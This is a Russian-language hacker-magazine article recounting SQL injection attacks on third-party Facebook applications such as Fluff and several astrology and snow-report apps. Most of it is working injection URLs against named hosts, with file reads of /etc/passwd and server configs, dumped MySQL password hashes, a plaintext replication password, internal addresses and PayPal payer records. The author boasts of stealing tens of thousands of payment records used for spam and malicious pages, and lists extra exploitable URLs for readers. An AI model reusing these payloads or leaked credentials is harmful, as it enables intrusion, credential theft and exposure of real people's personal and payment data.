История Facebook.com берет свое начало в феврале 2004 года, когда девятнадцатилетний студент Гарварда Марк Закерберг решил сделать онлайн-справочник студентов своего вузa с их фотографиями и данными в Сети. В большинстве колледжей и институтов такой справочник носит название «face book». Поначалу пользоваться его творением могли только студенты Гарварда, сайт располагался по адресу Thefacebook.com. Сейчас же Facebook.com доступен для всех и каждого. По официальной статистике, на июль 2007 года Facebook был седьмым по посещаемости сайтом в США и самым популярным ресурсом для студентов – 34 миллиона зарегистрированных пользователей по всему миру. Даже такие гиганты, как Microsoft, охотно сотрудничают с такой огромной рекламной площадкой! В октябре 2007 года также стало известно, что Microsoft приобретает 1,6% акций Facebook за 240 миллионов долларов. После чего был заключен контракт, по которому софтверный гигант будет размещать свои рекламные баннеры на сайте до 2011 года. Какие уязвимости нашли в этом адовом проекте русские хакеры - ты сейчас узнаешь!
(happy) Crab, Chickee, Puppog - вы мои друзья! В силу определенных причин мое внимание привлек довольно шуточный application-проект Flufffriends.com. Узел использовался в качестве редиректа на развлекательное приложение «Fluff» по следующей ссылке: apps.facebook.com/fluff/ffriends_splash.php. Как выяснилось, такой байды на ресурсе насчитывалось сотнями, а то и тысячами. Все началось с простого – я решил найти друзей у этого чудовища.
http://apps.facebook.com/fluff/fluffbook.php?id=654626570
Подставив аномальный параметр «id='111111111», я получил ответ от ресурса, который намекал на то, что он все-таки обратился к базе, но ничего дельного не нашел. Тогда было решено выполнить специальный запрос к базе, попытавшись подобрать количество колонок:
http://apps.facebook.com/fluff/art.php?id=654329372+and+1=-1 +union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9--
Бинго! Можно действовать дальше:
http://apps.facebook.com/fluff/fluffbook.php?id=654626570+and+1=2 +union+ Select+all+1,2,CONCAT_WS(CHAR(32,58,32),user(),database(), version()),4,5,6,null,8,9,10,11,12,13,14,15,16, concat(user,%200x3a,%20password),18,19,20,21+FROM+mysql.user+limit+1,1 (играемся со значением лимита)
А вот и заветные пользователи!
root:*368C08021F7260A991A9D8121B7D7808C99BBB8A slave_user:*38E277D5CA4EAA7E9A73F8EF80813D7B5859E407 muu:*74A45B921A1A918B18AE9B137396E5A67E006262 monitor:*1840AE2C95804EC69321D1EE33AADFA249817034 maatkit:*9FA5157314A2CF7448A34DA070B5D44E977A1220
И – традиционные приемы, которые позволяют выведать, что там крутится:
Чтение /etc/passwd (2f6574632f706173737764)
http://apps.facebook.com/fluff/fluffbook.php?id=654626570+and+1=2+ union+Select+all+1,2,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),4,5,6,null,8, 9,10,11,12,13,14,15,16,load_file(0x2f6574632f706173737764),18,19,20,21--
Чтение /etc/httpd/conf/httpd.conf (2f6574632f68747470642f636f6e662f68747470642e636f6e66)
http://apps.facebook.com/fluff/fluffbook.php?id=654626570+and+1=2+union+ Select+all+1,2,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),4,5,6,null, 8,9,10,11,12,13,14,15,16,load_file(0x2f6574632f68747470642f636f6e662f68747470642e636f6e66), 18,19,20,21--
Чтение /etc/php.ini (2f6574632f7068702e696e69)
http://apps.facebook.com/fluff/fluffbook.php?id=654626570+and+1= 2+union+Select+all+1,2,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),4,5,6,null, 8,9,10,11,12,13,14,15,16,load_file(0x2f6574632f7068702e696e69),18,19,20,21--
Чтение /etc/hosts (2f6574632f686f737473)
http://apps.facebook.com/fluff/fluffbook.php?id=654626570+and+1= 2+union+Select+all+1,2,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),4,5,6,null, 8,9,10,11,12,13,14,15,16,load_file(0x2f6574632f686f737473),18,19,20,21--
Файл hosts на разных системах имеет разное расположение, но отвечает совершенно за идентичные вещи. В нормальном виде он выглядел так:
127.0.0.1 localhost localhost.localdomain 192.168.1.167 140696-db2.flufffriends.com 140696-db2 192.168.1.166 140695-db1.flufffriends.com 140695-db1 192.168.1.165 140694-web2.flufffriends.com 140694-web2 192.168.1.164 140693-web1.flufffriends.com 140693-web1 69.63.176.141 api.facebook.com 208.116.17.80 peanutlabs.com
Сами мы, скорее всего, находились на 192.168.1.168.
Чтение /etc/my.cnf (2f6574632f6d792e636e66)
http://apps.facebook.com/fluff/fluffbook.php?id=654626570+and+1=2+union+ Select+all+1,2,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),4,5,6,null, 8,9,10,11,12,13,14,15,16,load_file(0x2f6574632f6d792e636e66),18,19,20,21--
Отсюда узнаем о непростом устройстве репликации:
#SERVER 2 IS THE MASTER FOR DB1 AND SLAVE FOR DB1
log-bin=/var/lib/mysqllogs/bin-log
binlog-do-db=fluff2
expire-logs-days=14
server-id = 2
#master-host=192.168.1.166
#master-user=slave_user
#master-password=peapie1212
#master-connect-retry=60
replicate-do-db=fluff1
#log-slave-updates
expire_logs_days = 14
Кто ты, красавица? Я - Людка-Незабудка! После увиденного я испытал самый настоящий новогодний шок. Но время не терпело. Пока админы ресурса пили шампанское за уход кризиса, я шел вперед. Сначала узнал базы:
http://apps.facebook.com/fluff/fluffbook.php?id=654626570+and+1= 2+union+Select+all+1,2,3,4,5,6,null,8,9,10,11,12,13,14,15,16, concat(0x1e,0x1e,COUNT(*),0x1e,0x20),18,19,20,21+ FROM+information_schema.schemata
Цифра «3» означает, что на ресурсе присутствуют три базы. Их имена узнаются следующим образом для MySQL:
SELECT schema_name FROM information_schema.schemata (MySQL >= v5.0);
или так:
SELECT distinct(db) FROM mysql.db
– либо автоматизировано с помощью sqlmap. На деле это оказались: mysql, fluff1, fluff2. После долгого изучения каждой из них в базе fluff2 была обнаружена таблица paypal_ipn с огромным количеством колонок:
http://apps.facebook.com/fluff/fluffbook.php?id=654626570+and+1= 2+union+Select+all+1,2,3,4,5,6,null,8,9,10,11,12,13,14,15,16, concat(table_name,table_schema,column_name,0x1e,0x20),18,19,20,21+ FROM+information_schema.columns+limit+1,2
Естественно, ваш покорный слуга не мог обойти это дело. Для разведки пришлось прибегнуть к помощи известной тебе sqlmap/sqlninja.
http://apps.facebook.com/fluff/fluffbook.php?id=654626570+and+1= 2+union+Select+all+1,2,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),4,5,6,null, 8,9,10,11,12,13,14,15,16,concat_ws (0x3a,user,txn_id, valid_ipn,payment_status,mc_gross,mc_fee,mc_currency,time,receipt_id,payer_id, payer_email,first_name,last_name,address_name,address_street,address_city, address_state,address_zip,address_country,address_country_code,residence_country,payment_date, payment_fee,payment_gross,quantity,payment_type,payer_status,txn_type,custom,duplicate), 18,19,20,21+FROM+fluff2.paypal_ipn+limit+0,1
После этого несколько десятков тысяч пользователей, производящих платежи, были у меня в кармане. Даже такие именитые проекты имеют бреши!
Лиха беда начало Конечно, следить за безопасностью такого огромного проекта нереально тяжело. По сути, хакеру удалось получить доступ к ряду сторонних проектов, тем самым узнать немного о внутреннем устройстве и функционале Facebook. Кроме того, похищенные данные о людях, осуществляющих денежные переводы для прокачки внутри этой социальной сети, целиком и полностью пошли на таргет-спам с фейкованными страницами и вредоносными ресурсами.
ETC Поначалу найденные уязвимости на приложениях Facebook настойчиво манили на центральный проект. На деле часть из них располагается на совершенно сторонних серверах. К примеру, apps.facebook.com/snowago/area.php?areaid=303021+AND+1=2+UNION+ALL+SELECT+0,1,2,3,4-- оказывается «клоном» affinispace.com/facebook/snowago/area.php?areaid=303021+AND+1=2+UNION+ALL+SELECT+0,1,2,3,4--, который к тому же с потрохами сдает информацию через общедоступный phpinfo по адресу (affinispace.com/facebook).
Несколько багов для размышления:
Помимо перечисленных, на ресурсе существуют и другие уязвимости. Комментировать не буду – все додумаешь сам.
1) http://apps.facebook.com/snowago/area.php?areaid=303021+ AND+1=2+UNION+SELECT+0,version(),2,3,4--
Database: affinispac_fb User: affinispac_fb@localhost Version: 5.0.67-community
2) http://www.chinesezodiachoroscope.com/facebook/index1.php?user_id= 663991991%20AND%201=2%20UNION%20SELECT%200,1,2,3,4,5,6,7,8, CONCAT_WS(CHAR(32,58,32),user(),database(),version()),10,11,12,13,14--&zodiac=1
> plucky@localhost : facebook : 4.0.13-log
3) http://apps.facebook.com/newastrology/newastro.php?uid=1387771663+AND +1=2+UNION+SELECT+0,1,2,3,4,5,6,7,8,9, CONCAT_WS(CHAR(32,58,32),user(),database(),version()), 11,12,13,14,15,16,17,18,19,20,21--
4) http://apps.facebook.com/ridertech/location.php?id=7449+AND+1=2+UNION+SELECT+0, CONCAT_WS(CHAR(32,58,32),user(),database(),version()) ,2,3,4,5,6,7,8,9,10,11,12,13,14,15, 16,17,18,19,20,21,22,23--
INFO Подбор колонок проще всего осуществлять автоматизировано. Конечно, самое простое – заюзать уже созданный софт (ты найдешь его на диске). Ведь порой их бывает очень много, ручками перебрать такое было бы запарно, хоть и реально.
Раскрытие пути в описании ошибки базы целиком и полностью выдавало тот факт, что создатели Facebook применяют Ruby on Rails в своих проектах:
/home/ridetech/rails/community/public/facebook/snowreports/report.php
Все описанные подпроекты были найдены при помощи специальных сервисов. В статье «Разлом MSN» рассказывалось, как, используя мощи MSN/Google, узнавать такую информацию. А сейчас твой кругозор расширит следующий сервис: serversniff.de/content.php?do=subdomains. Вбиваешь ресурс – и мигом получаешь все поддомены.
|